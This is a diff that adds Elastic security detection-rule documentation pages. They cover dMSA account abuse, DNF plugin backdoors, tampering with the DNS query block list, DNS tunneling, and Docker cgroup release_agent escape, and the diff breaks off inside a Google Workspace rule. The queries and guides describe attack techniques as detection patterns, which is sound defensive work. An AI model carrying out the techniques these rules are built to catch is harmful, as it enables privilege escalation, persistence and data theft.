b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dmsa-account-creation-by-an-unusual-user.asciidoc @@ -0,0 +1,121 @@ +[[prebuilt-rule-8-19-20-dmsa-account-creation-by-an-unusual-user]] +=== dMSA Account Creation by an Unusual User + +Detects the creation of a delegated Managed Service Account by an unusual subject account. Attackers can abuse the dMSA account migration feature to elevate privileges abusing weak persmission allowing users child objects rights or msDS-DelegatedManagedServiceAccount rights. + +*Rule type*: new_terms + +*Rule indices*: + +* winlogbeat-* +* logs-system.security* +* logs-windows.forwarded* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Use Case: Active Directory Monitoring +* Data Source: Active Directory +* Data Source: Windows Security Event Logs +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating dMSA Account Creation by an Unusual User* + + + +*Possible investigation steps* + +- Examine the winlog.event_data.SubjectUserName field and verify if he is allowed and used to create dMSA accounts. +- Examine all Active Directory modifications performed by the winlog.event_data.SubjectUserName. +- Investigate the history of the identified user account to determine if there are any other suspicious activities or patterns of behavior. +- Collaborate with the IT or security team to determine if the changes were authorized or if further action is needed to secure the environment. + + +*False positive analysis* + + +- Migration of legacy service accounts using delegated managed service account. + + +*Response and remediation* + + +- Immediately disable the winlog.event_data.SubjectUserName account and revert all changes performed by that account. +- Identify and isolate the source machines from where the SubjectUserName is authenticating. +- Reset passwords for all accounts that were potentially affected or had their permissions altered, focusing on privileged accounts to prevent adversaries from regaining access. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach, including identifying any other compromised systems or accounts. +- Review and update access control policies and security configurations to prevent similar attacks, ensuring that only authorized personnel have the ability to modify critical Active Directory objects or create OU child objects. + +==== Rule query + + +[source, js] +---------------------------------- +event.code:5137 and host.os.type:"windows" and winlog.event_data.ObjectClass:"msDS-DelegatedManagedServiceAccount" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Domain Accounts +** ID: T1078.002 +** Reference URL: https://attack.mitre.org/techniques/T1078/002/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create Account +** ID: T1136 +** Reference URL: https://attack.mitre.org/techniques/T1136/ +* Sub-technique: +** Name: Domain Account +** ID: T1136.002 +** Reference URL: https://attack.mitre.org/techniques/T1136/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dnf-package-manager-plugin-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dnf-package-manager-plugin-file-creation.asciidoc new file mode 100644 index 0000000000..d0f7b07181 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dnf-package-manager-plugin-file-creation.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-20-dnf-package-manager-plugin-file-creation]] +=== DNF Package Manager Plugin File Creation + +Detects file creation events in the plugin directories for the Yum package manager. In Linux, DNF (Dandified YUM) is a command-line utility used for handling packages on Fedora-based systems, providing functions for installing, updating, upgrading, and removing software along with managing package repositories. Attackers can backdoor DNF to gain persistence by injecting malicious code into plugins that DNF runs, thereby ensuring continued unauthorized access or control each time DNF is used for package management. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pwnshift.github.io/2020/10/01/persistence.html +* https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNF Package Manager Plugin File Creation* + + +DNF, a package manager for Fedora-based Linux systems, manages software installations and updates. It uses plugins to extend functionality, which can be targeted by attackers to insert malicious code, ensuring persistence and evasion. The detection rule monitors file creation in plugin directories, excluding legitimate processes, to identify unauthorized modifications indicative of potential backdoor activities. + + +*Possible investigation steps* + + +- Review the file creation event details, focusing on the file path to confirm if it matches the monitored plugin directories: "/usr/lib/python*/site-packages/dnf-plugins/*" or "/etc/dnf/plugins/*". +- Identify the process responsible for the file creation by examining the process.executable field, ensuring it is not one of the legitimate processes listed in the exclusion criteria. +- Check the file extension of the newly created file to ensure it is not one of the excluded extensions like "swp", "swpx", or "swx". +- Investigate the origin and legitimacy of the process by reviewing its parent process and command line arguments to determine if it aligns with expected behavior. +- Correlate the event with any recent changes or updates in the system that might explain the file creation, such as package installations or system updates. +- Search for any additional suspicious activity or anomalies in the system logs around the time of the alert to identify potential indicators of compromise. +- If the file creation is deemed suspicious, consider isolating the affected system and conducting a deeper forensic analysis to assess the scope and impact of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may trigger file creation events in the DNF plugin directories. Users can mitigate this by ensuring that the processes involved in these updates are included in the exclusion list of the detection rule. +- System maintenance scripts or automated tasks that modify or create files in the plugin directories can be mistaken for malicious activity. To handle this, identify these scripts and add their executables to the exclusion list. +- Temporary files created by text editors or system processes, such as those with extensions like "swp", "swpx", or "swx", can be excluded by ensuring these extensions are part of the rule's exclusion criteria. +- Custom scripts or tools that interact with DNF plugins for legitimate purposes should be reviewed and, if deemed safe, their executables should be added to the exclusion list to prevent false positives. +- Processes running from directories like "/nix/store/*" or "/var/lib/dpkg/*" may be part of legitimate package management activities. Users should verify these processes and include them in the exclusion list if they are non-threatening. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the attacker. +- Conduct a thorough review of the newly created or modified files in the DNF plugin directories to identify any malicious code or unauthorized changes. +- Remove any identified malicious files or code from the DNF plugin directories to eliminate the backdoor and restore the integrity of the package manager. +- Revert any unauthorized changes to the system configuration or software settings to their original state using verified backups or system snapshots. +- Update all system packages and plugins to the latest versions to patch any vulnerabilities that may have been exploited by the attacker. +- Monitor the affected system and network for any signs of continued unauthorized access or suspicious activity, using enhanced logging and alerting mechanisms. +- Escalate the incident to the appropriate internal security team or external cybersecurity experts for further investigation and to ensure comprehensive remediation. + +==== Setup + + + +*Setup* + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. + +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action in ("rename", "creation") and +file.path like ("/usr/lib/python*/site-packages/dnf-plugins/*", "/etc/dnf/plugins/*") and not ( + process.executable in ( + "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", "/usr/bin/microdnf", "/bin/rpm", + "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", "/bin/dnf", "/usr/bin/dnf", + "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", "/bin/puppet", + "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", "/bin/autossl_check", + "/usr/bin/autossl_check", "/proc/self/exe", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", + "/usr/libexec/netplan/generate", "./usr/bin/podman", "/usr/bin/dnf5", "/bin/needs-restarting", + "/usr/bin/crio", "/usr/bin/insights-client", "/kaniko/executor" + ) or + file.extension in ("swp", "swpx", "swx") or + process.executable : ( + "/nix/store/*", "/var/lib/dpkg/*", "/tmp/vmis.*", "/snap/*", "/dev/fd/*", "/usr/lib/*", "/usr/libexec/*", + "/etc/kernel/*" + ) or + process.executable == null or + (process.name == "sed" and file.name : "sed*") or + (process.name == "perl" and file.name : "e2scrub_all.tmp*") or + file.path like~ "/etc/dnf/plugins/.ansible_tmp*" or + process.name like~ ("ssm-agent-worker, NinjaOrbit", "python*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Installer Packages +** ID: T1546.016 +** Reference URL: https://attack.mitre.org/techniques/T1546/016/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-global-query-block-list-modified-or-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-global-query-block-list-modified-or-disabled.asciidoc new file mode 100644 index 0000000000..e7c2a450bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-global-query-block-list-modified-or-disabled.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-dns-global-query-block-list-modified-or-disabled]] +=== DNS Global Query Block List Modified or Disabled + +Identifies changes to the DNS Global Query Block List (GQBL), a security feature that prevents the resolution of certain DNS names often exploited in attacks like WPAD spoofing. Attackers with certain privileges, such as DNSAdmins, can modify or disable the GQBL, allowing exploitation of hosts running WPAD with default settings for privilege escalation and lateral movement. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cube0x0.github.io/Pocing-Beyond-DA/ +* https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/wpad-spoofing +* https://www.netspi.com/blog/technical-blog/network-penetration-testing/adidns-revisited/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender for Endpoint +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS Global Query Block List Modified or Disabled* + + +The DNS Global Query Block List (GQBL) is a security feature in Windows environments that blocks the resolution of specific DNS names, such as WPAD, to prevent attacks like spoofing. Adversaries with elevated privileges can alter or disable the GQBL, enabling them to exploit default settings for privilege escalation. The detection rule monitors registry changes indicating such modifications, flagging potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the specific changes made to the DNS Global Query Block List, focusing on the registry values "EnableGlobalQueryBlockList" and "GlobalQueryBlockList". +- Identify the user account associated with the registry change event to determine if the account has elevated privileges, such as DNSAdmins, which could indicate potential misuse. +- Check for any recent changes in user permissions or group memberships that might have granted the necessary privileges to modify the GQBL. +- Investigate any other suspicious activities or alerts related to the same user or host around the time of the registry change to identify potential lateral movement or privilege escalation attempts. +- Correlate the event with network traffic logs to detect any unusual DNS queries or attempts to resolve WPAD or other blocked names, which could suggest exploitation attempts. +- Review system and security logs for any signs of unauthorized access or other indicators of compromise on the affected host. + + +*False positive analysis* + + +- Legitimate administrative changes to DNS settings by IT staff can trigger the rule. To manage this, create exceptions for known maintenance windows or authorized personnel making these changes. +- Automated scripts or software updates that modify DNS settings might be flagged. Identify and whitelist these processes if they are verified as safe and necessary for system operations. +- Changes made by security tools or network management software that adjust DNS settings for legitimate reasons can be mistaken for threats. Review and exclude these tools from monitoring if they are part of the organization's approved security infrastructure. +- In environments where WPAD is intentionally used, the absence of "wpad" in the GlobalQueryBlockList might be a normal configuration. Document and exclude these cases if they align with the organization's network design and security policies. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further exploitation or lateral movement. +- Revert any unauthorized changes to the DNS Global Query Block List by restoring the registry settings to their default state, ensuring WPAD and other critical entries are included. +- Conduct a thorough review of user accounts with elevated privileges, such as DNSAdmins, to identify any unauthorized access or privilege escalation. Revoke unnecessary privileges and reset credentials as needed. +- Deploy endpoint detection and response (EDR) tools to scan the affected system for additional indicators of compromise or malicious activity, focusing on defense evasion techniques. +- Monitor network traffic for signs of WPAD spoofing or other related attacks, and implement network segmentation to limit the impact of potential threats. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Update security policies and procedures to include specific measures for monitoring and protecting the DNS Global Query Block List, ensuring rapid detection and response to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.data.strings != null and +( + (registry.value : "EnableGlobalQueryBlockList" and registry.data.strings : ("0", "0x00000000")) or + (registry.value : "GlobalQueryBlockList" and not registry.data.strings : "wpad") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Adversary-in-the-Middle +** ID: T1557 +** Reference URL: https://attack.mitre.org/techniques/T1557/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-tunneling.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-tunneling.asciidoc new file mode 100644 index 0000000000..55358e03b1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-dns-tunneling.asciidoc @@ -0,0 +1,176 @@ +[[prebuilt-rule-8-19-20-dns-tunneling]] +=== DNS Tunneling + +A machine learning job detected unusually large numbers of DNS queries for a single top-level DNS domain, which is often used for DNS tunneling. DNS tunneling can be used for command-and-control, persistence, or data exfiltration activity. For example, dnscat tends to generate many DNS questions for a top-level domain as it uses the DNS protocol to tunnel data. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-45m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Command and Control +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating DNS Tunneling* + + +DNS tunneling exploits the DNS protocol to covertly transmit data between a compromised system and an attacker-controlled server. Adversaries use it for stealthy command-and-control, persistence, or data exfiltration by embedding data within DNS queries. The detection rule leverages machine learning to identify anomalies, such as an unusually high volume of DNS queries to a single domain, indicating potential tunneling activity. + + +*Possible investigation steps* + + +- Review the DNS query logs to identify the specific top-level domain generating the unusually high volume of queries. This can help pinpoint the potential source of tunneling activity. +- Analyze the source IP addresses associated with the DNS queries to determine if they originate from known or suspicious hosts within the network. +- Check for any recent changes or anomalies in the network traffic patterns related to the identified domain, which might indicate tunneling or exfiltration attempts. +- Investigate the history of the identified domain to assess its reputation and any known associations with malicious activities or threat actors. +- Correlate the DNS query activity with other security events or alerts in the network to identify any related suspicious behavior or indicators of compromise. + + +*False positive analysis* + + +- High volume of DNS queries from legitimate software updates or patch management systems can trigger false positives. Users should identify and whitelist domains associated with trusted update services. +- Content delivery networks (CDNs) often generate numerous DNS queries due to their distributed nature. Exclude known CDN domains from the analysis to reduce false positives. +- Internal network monitoring tools that rely on DNS for service discovery may cause an increase in DNS queries. Consider excluding these internal domains if they are verified as non-threatening. +- Some cloud services use DNS for load balancing and may result in high query volumes. Users should review and whitelist these domains if they are confirmed to be safe. +- Automated scripts or applications that frequently query DNS for legitimate purposes can be excluded by identifying their specific patterns and adding them to an exception list. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further data exfiltration or command-and-control communication. +- Conduct a thorough analysis of DNS logs to identify the specific domain involved in the tunneling activity and block it at the network perimeter. +- Review and terminate any suspicious processes or services running on the compromised system that may be associated with the tunneling activity. +- Reset credentials and review access permissions for accounts that were active on the compromised system to prevent unauthorized access. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring for DNS traffic to detect similar tunneling activities in the future, focusing on high-frequency queries to single domains. +- Coordinate with IT and security teams to apply necessary patches and updates to the affected system to close any vulnerabilities exploited by the attacker. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Technique: +** Name: Protocol Tunneling +** ID: T1572 +** Reference URL: https://attack.mitre.org/techniques/T1572/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-docker-release-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-docker-release-file-creation.asciidoc new file mode 100644 index 0000000000..d42c8ba748 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-docker-release-file-creation.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-20-docker-release-file-creation]] +=== Docker Release File Creation + +This rule detects the creation of files named release_agent or notify_on_release, which are commonly associated with the abuse of Linux cgroup release mechanisms. In Docker or containerized environments, this behavior may indicate an attempt to exploit privilege escalation vulnerabilities such as CVE-2022-0492, where attackers use the release_agent feature to execute code on the host from within a container. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/ + +*Tags*: + +* Domain: Endpoint +* Domain: Container +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Docker Release File Creation* + + +In Linux, cgroups manage resources for processes, and the release_agent file can execute scripts when a cgroup is released. In containerized environments like Docker, adversaries may exploit this to escalate privileges, executing code on the host. The detection rule identifies the creation of files like release_agent, signaling potential misuse of cgroup release mechanisms for privilege escalation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the file creation event occurred on a Linux host, as specified by the query field host.os.type == "linux". +- Identify the specific file name created, either release_agent or notify_on_release, to understand the potential method of exploitation. +- Investigate the process that created the file by examining process logs or using process monitoring tools to determine if it was initiated by a legitimate application or a suspicious process. +- Check for any recent container activity on the host, such as new container deployments or changes, to identify potential sources of the file creation. +- Analyze user activity logs to determine if any unauthorized or unusual user actions correlate with the file creation event. +- Look for any additional indicators of compromise or related alerts on the host that might suggest a broader attack or exploitation attempt. +- Assess the system for any signs of privilege escalation or unauthorized access to determine if the release_agent or notify_on_release file creation was part of a successful attack. + + +*False positive analysis* + + +- System administrators or automated scripts may create release_agent or notify_on_release files for legitimate resource management tasks in containerized environments. +- Regularly scheduled maintenance scripts might trigger the rule if they involve creating or modifying cgroup release files as part of their operations. +- Developers testing container features might inadvertently create these files during the development process. +- To handle these false positives, users can create exceptions for known scripts or processes that routinely create these files by whitelisting their specific paths or process names. +- Implement monitoring to differentiate between expected and unexpected file creation events, focusing on unusual patterns or contexts that deviate from normal operations. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further exploitation or lateral movement. This can be done by stopping the container or disconnecting it from the network. +- Investigate the container's logs and processes to identify any unauthorized or suspicious activity that may have occurred as a result of the release_agent or notify_on_release file creation. +- Remove any unauthorized files or scripts that were executed as a result of the cgroup release mechanism exploitation. Ensure that the release_agent and notify_on_release files are deleted if they were created maliciously. +- Patch the host system and all containers to address known vulnerabilities such as CVE-2022-0492. Ensure that all security updates are applied to prevent similar exploits. +- Review and tighten the security configurations of Docker and the host system, including setting appropriate cgroup permissions and limiting container capabilities to the minimum necessary. +- Monitor for any further attempts to exploit cgroup release mechanisms by setting up alerts for the creation of release_agent and notify_on_release files. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may have been affected or if there is a broader security incident underway. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and file.name in ("release_agent", "notify_on_release") and +not process.executable in ("/usr/bin/podman", "/sbin/sos", "/sbin/sosreport", "/usr/bin/git") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-domain-added-to-google-workspace-trusted-domains.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-domain-added-to-google-workspace-trusted-domains.asciidoc new file mode 100644 index 0000000000..f1a1626615 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-domain-added-to-google-workspace-trusted-domains.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-domain-added-to-google-workspace-trusted-domains]] +=== Domain Added to Google Workspace Trusted Domains + +Detects when a domain is added to the list of trusted Google Workspace domains. An adversary may add a trusted 